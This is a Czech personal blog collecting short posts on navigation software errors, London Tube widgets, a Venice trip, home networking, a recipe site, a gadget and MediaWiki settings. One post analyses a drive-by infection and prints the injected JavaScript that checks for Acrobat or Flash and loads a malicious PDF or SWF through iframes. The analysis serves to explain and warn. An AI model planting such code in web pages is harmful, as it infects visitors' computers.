Začíná léto a nějak se zrovna dnes nedaří.
Včera jsem chytil svatební podvazek, takže jedna pozitivní věc na začátek. Svatba bude.
Dnes ráno mi iGO 8 začalo hlásit své dvě oblíbené hlášky: Naposledy se nepodařilo nastartovat. Chcete smazat uživatelská data? – Ať odpovíte jakkoliv, pokračuje druhá hláška. – Databáze nenalezena, vložte originální SD kartu. Jak to řešit? Zkoušel jsem už leccos, ale stále netuším. Asi reklamací.
Jedna věc, která se ještě podařila včera – také na jaře – byl profil na geocachingu.
V poslední době jsem často potřeboval znát aktuální situaci v Londýnském metru, které je svou sítí poměrně rozsáhlé a stále tam probíhají nějaké úpravy, opravy a uzavírky.
Na hlavní stránce Londýnské dopravy (Transport for London) je aktuální situace linek metra přehledně zobrazena. Co je ještě zajímavější z technického hlediska je, že Londýnský dopravní podnik umožňuje export těchto dat prostřednictvím widgetů. Můžete si tak na svoje stránky nebo do svého profilu na iGoogle přidat následující zobrazení:
Další možnost je zobrazit si mapku linek:
Víkendový výlet do Benátek se nám velmi vydařil. Počasí bylo nádherné, což dokumentují i naše fotografie.
Dokumentace výletu ve Wiki – Benátky
Minulý čtvrtek jsem si zaviroval pracovní počítač. Myslel jsem si, že už mám aspoň trochu zkušeností a “že se mi něco takového přece nemůže stát”.
Než přišel lékař
Otevřel jsem si stránky o agroturistice, ve Firefoxu. Stránky mě přesměrovaly na jinou adresu, ale zobrazily se informace o agrofarmě. Vše se zdálo být v pořádku, až na jedinou věc. Zobrazilo se okno s chybou, kterou způsobil přehrávač Flashe. Nebylo to normální, ale teoreticky to ještě nemuselo nic zanamenat.
Bohužel znamenalo. Po nějaké době začal NOD32 hlásit přítomný spyware. Jeho umístění bylo ve Windows\System32 a název knihovny dll se jmenoval při každém hlášení jinak. Vždy ale připomínal název nějakého běžného ovladače. NOD soubor vždy smazal a za několik minut se objevila další varianta.
V té době již chodily zprávy našemu administrátorovi, který spustil na mém stroji kompletní test.
Já jsem jej spustil také, dokonce o něco dříve, takže nakonec sken proběhl dvakrát.
Černý pátek – prostě krize
V pátek jsem byl bez pracovní stanice a musel jsem se spokojit s notebookem. Využil jsem toho k nahlášení zdroje virové nákazy odboru bezpečnosti, který se postaral o komunikaci se správcem domény. Během krátké chvíle zdroj viru z nakažených stránek zmizel.
Kolega z odboru IKT mi mezitím odviroval počítač s bezpečným obnovením týdenní zálohy. Stal jsem se slavným, protože podobný zásah řešil již více než před dvěma měsíci.
A moje výzkumy viru?
S pomocí Ubuntu a Firefoxu s vypnutými skripty jsem odchytil techniku nakažení a nakonec i samotné jeho kódy.
Virus se do stránky připsal až za konec značky </html> v podobě <iframe>.
Statistiky návštěvnosti jsou důležité i pro viry
Zdroj iframe vedl do Číny. Na přesměrovací server, který navíc ještě měřil “návštěvnost” podle konkrétního zdroje.
http://------.cn/in.cgi?income28
Pak server přesměruje návštěvníka na server, který mu poskytne vhodný “obsah”. Poskytnutí obsahu závisí na možnostech klienta. Kód je optimalizován na chybu Flashe i Acrobatu, což je docela nepříjemné.
JavaScript rozhodne
Musíme si ověřit, jestli má klient funkční Acrobat Reader. Pokud ano, podstrčíme mu PDF. Pokud ne, proč to nezkusit s Flashem? Máme i verzi SWF.
A zde už přichází slavný kód. Není jednoduchý?
<script>
function pdfswf()
{
try
{
for(i = 0; i <= navigator.plugins.length; i++)
{
name = navigator.plugins[i].name;
if((name.indexOf("Adobe Acrobat") != -1) || (name.indexOf("Adobe PDF") != -1))
{
document.write('<iframe src="cache/readme.pdf"></iframe>');
}
if(name.indexOf("Flash") != -1)
{
document.write('<iframe src="cache/flash.swf"></iframe>');
}
}
}
catch(e){}
}
pdfswf();
</script>
A co dodat na závěr?
Myslete na uživatele a nabídněte jim alternativu obsahu. Dokáží to i čínské viry.
Na domácím počítači jsme pokusně rozjeli své stránky. Aby byly dostupné z WAN, rozhodl jsem se překopat infrastrukturu lokální sítě.
Provedené změny:
- na stolním počítači byl spuštěn WAMP
- router prošel rekonfigurací (nejprve DMZ, pak přesměrování portů)
- pro dostupnost stránek z lokální sítě spuštěn DNS server
- router překonfigurován na použití místního kešovacího DNS serveru
Výsledkem celého snažení byla úprava sítě tak, že funguje domácí web server a je možné synchronizovat soubory pomocí SVN.
Z lokální sítě fungují všechny požadované služby a dokonce došlo k urychlení zpracování dotazů díky cachování DNS záznamů.
Na recepty.brtnik.info jsem přidal možnost volby druhu jídla při hledání podle surovin. Ajaxová aplikace je tak o něco chytřejší a nenabízí vám nápoj, když chcete vařit večeři..

Po chvíli zkoušení a rozčilování se nad XML jsem dokončil svůj první Gadget!
Jeho úkolem je zobrazování aktuálního počasí v textové podobě – tak jak mi již fungují RSS kanály.
V nastavení je k dispozici výběr více než 10 českých měst včetně Prahy (výchozí), Brna, Ostravy, Plzně..
Pokud máte zájem, můžete si jej přidat na iGoogle.
Na základě nápovědy Mediawiki jsem “zabezpečil” zápisy do wiki na katedře i do své wiki pomocí jednoduchého “poor” a “lazy” zákazu. Důležité je, že zatím tohle zabezpečení funguje.
#Force people to register before they are allowed to edit
$wgGroupPermissions['*']['edit'] = false;
$wgShowIPinHeader = false;